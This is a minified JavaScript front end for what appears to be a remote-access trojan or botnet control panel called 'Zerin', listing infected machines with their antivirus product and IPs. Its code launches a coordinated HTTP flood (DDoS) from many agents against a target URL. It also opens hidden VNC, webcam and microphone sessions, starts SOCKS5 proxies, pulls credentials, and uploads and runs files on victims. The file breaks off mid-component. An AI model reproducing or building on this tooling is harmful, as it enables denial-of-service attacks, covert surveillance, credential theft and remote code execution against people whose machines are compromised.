US({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z);const _=z.filter(A=>A.ok).length;g(_>0),_===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${_}/${w} agents (${w-_} failed)`,_>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_stop"})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z),g(!1);const _=z.filter(A=>A.ok).length;j(`Stop sent to ${_}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:wU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:jU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const j2={alive:0,stale:1,dead:2};function kU(e,t,n){let r=0;switch(n.column){case"status":r=(j2[e.status]??3)-(j2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=So(e.os).localeCompare(So(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const NU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function SU(){const e=ur(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState("online"),[h,x]=p.useState({x:0,y:0,visible:!1}),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState(null),[_,A]=p.useState("Zerin"),[O,P]=p.useState(""),[I,U]=p.useState(new Set),[D,M]=p.useState(!1),[F,R]=p.useState(!1),[W,$]=p.useState(""),[H,X]=p.useState(""),[se,ue]=p.useState(!1),[ge,xe]=p.useState(null),Y=p.useRef(null),ee=p.useRef(null),C=p.useRef(null),K=p.useCallback(async()=>{try{const E=await oj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{K()},[K]);const{lastMessage:ne}=p.useContext(ld);p.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(oe=>{const J=oe.findIndex(pe=>pe.id===E.id);if(J>=0){const pe=[...oe];return pe[J]=E,pe}return[E,...oe]}),b(oe=>oe&&oe.id===E.id?E:oe)}},[ne]),p.useEffect(()=>{const E=setInterval(K,15e3);return()=>clearInterval(E)},[K]),p.useEffect(()=>()=>{Y.current&&clearTimeout(Y.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},ie=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),we=[...l==="all"?ie:ie.filter(E=>E.status===l)].sort((E,oe)=>kU(E,oe,u)),_e=t.filter(E=>E.status==="alive"||E.status==="stale").length,L=t.filter(E=>E.status==="dead").length;function de(E){d(oe=>({column:E,direction:oe.column===E&&oe.direction==="asc"?"desc":"asc"}))}function q(E){c(oe=>oe===E&&E!=="all"?"all":E)}function te(E){if(Y.current){clearTimeout(Y.current),Y.current=null,e(`/agents/${E.id}`);return}Y.current=setTimeout(()=>{Y.current=null,b(E)},250)}function me(E,oe){E.preventDefault(),y(oe),x({x:E.clientX,y:E.clientY,visible:!0})}function V(E,oe){var G;if(!g)return;const J=g.id,pe=g.hostname,be=oe==null?void 0:oe.action,ke=oe==null?void 0:oe.tab;if(x(re=>({...re,visible:!1})),y(null),be==="chat"){j(g);return}if(be==="confirm"){S({command:E,agentId:J,hostname:pe});return}if(be==="msgbox"){z({agentId:J,hostname:pe}),A("Zerin"),P("");return}if(be==="vnc"){gx(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(be==="hvnc"){cj(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(be==="webcam"){uj(J).then(()=>{const re=rt(),ae=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(be==="mic"){dj(J).then(()=>{const re=rt(),ae=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(be==="socks5"){fj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} + +Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(be==="execute_upload"){C.current=J,(G=ee.current)==null||G.click();return}if(be==="ban"){const re=t.find(We=>We.id===J),ae=re==null?void 0:re.banned,Oe=ae?`Unban agent ${pe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${pe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(ae?LE:ME)(J).then(()=>{n(We=>We.map(pn=>pn.id===J?{...pn,banned:!ae}:pn))}).catch(()=>o(`Failed to ${ae?"unban":"ban"} agent`));return}if(be==="remove"){if(!confirm(`Remove agent ${pe} (${J.slice(0,8)})? This cannot be undone.`))return;lj(J).then(()=>{n(re=>re.filter(ae=>ae.id!==J))}).catch(()=>o("Failed to remove agent"));return}(be==="submit"||be==="screenshot")&&E!=="creds"&&Ee(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ke&&e(`/agents/${J}?tab=${ke}${E==="creds"?"&auto=1":""}`)}function Z(){x(E=>({...E,visible:!1})),y(null)}async function fe(E){var ke,G,re;const oe=(ke=E.target.files)==null?void 0:ke[0];if(E.target.value="",!oe||!C.current)return;const J=C.current;C.current=null;const pe=oe.name,be=`C:\\Windows\\Temp\\${pe}`;try{const ae=await oe.arrayBuffer(),Oe=Array.from(new Uint8Array(ae)),{task_id:lt}=await Ee(J,{command:"upload",args:[be],data:Oe});let We=!1;for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(G=(await Un(J)).results)==null?void 0:G.find(Yn=>Yn.task_id===lt);if(qn){if(qn.error)throw new Error(qn.error);We=!0;break}}if(!We)throw new Error("Upload timed out");const{task_id:pn}=await Ee(J,{command:"execute",args:[be]});for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(re=(await Un(J)).results)==null?void 0:re.find(Yn=>Yn.task_id===pn);if(qn){if(qn.error)throw new Error(qn.error);alert(`Executed ${pe} on agent`);return}}alert(`File uploaded & execute command sent (${pe})`)}catch(ae){o(`Execute file failed: ${ae instanceof Error?ae.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:ee,type:"file",className:"hidden",onChange:fe}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Yl,{label:"Total",value:B.total,active:l==="all",onClick:()=>q("all")}),s.jsx(Yl,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>q("alive")}),s.jsx(Yl,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>q("stale")}),s.jsx(Yl,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>q("dead")})]}),s.jsx(yU,{agents:t}),s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[s.jsxs("button",{onClick:()=>{m("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:_e})]}),f==="online"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),s.jsxs("button",{onClick:()=>{m("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:L})]}),f==="offline"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&L>0&&s.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${L} dead agent(s)? This cannot be undone.`))return;const E=t.filter(oe=>oe.status==="dead").map(oe=>oe.id);try{await TE(E),n(oe=>oe.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:K,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):we.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[s.jsx("span",{className:"text-zerin-text font-medium",children:we.length})," ",f," agent",we.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["· filtered by ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:we.length>0&&we.filter(E=>E.status!=="dead").every(E=>I.has(E.id)),onChange:E=>{E.target.checked?U(new Set(we.filter(oe=>oe.status!=="dead").map(oe=>oe.id))):U(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),NU.map(E=>s.jsx("th",{onClick:()=>de(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,s.jsx(zU,{column:E.key,sort:u})]})},E.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:we.map(E=>s.jsxs("tr",{onClick:()=>te(E),onContextMenu:oe=>me(oe,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:oe=>oe.stopPropagation(),children:E.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:I.has(E.id),onChange:oe=>{U(J=>{const pe=new Set(J);return oe.target.checked?pe.add(E.id):pe.delete(E.id),pe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(sd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:So(E.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:No(E.last_seen),children:Vc(E.last_seen)})]},E.id))})]})})})]}),I.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[I.size," agent",I.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsxs("button",{onClick:()=>R(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),s.jsx("button",{onClick:()=>U(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),D&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(US,{agentIds:[...I]})]})}),F&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>R(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),s.jsx("button",{onClick:()=>R(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"p-6 space-y-4",children:[s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",I.size," agent",I.size!==1?"s":""]}),ge&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${ge.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:ge.text}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),s.jsx("input",{type:"text",value:W,onChange:E=>$(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),s.jsx("input",{type:"text",value:H,onChange:E=>X(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("button",{onClick:async()=>{if(W.trim()){ue(!0),xe(null);try{const E=[W.trim()];H.trim()&&H.trim().split(/\s+/).forEach(be=>E.push(be));const J=(await Promise.allSettled([...I].map(be=>Ee(be,{command:"execute",args:E})))).filter(be=>be.status==="fulfilled").length,pe=I.size;xe(J===pe?{text:`Sent to ${pe} agent${pe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${pe} agents (${pe-J} failed)`,type:J>0?"ok":"err"})}catch(E){xe({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:se||!W.trim(),className:`w-full flex items-center 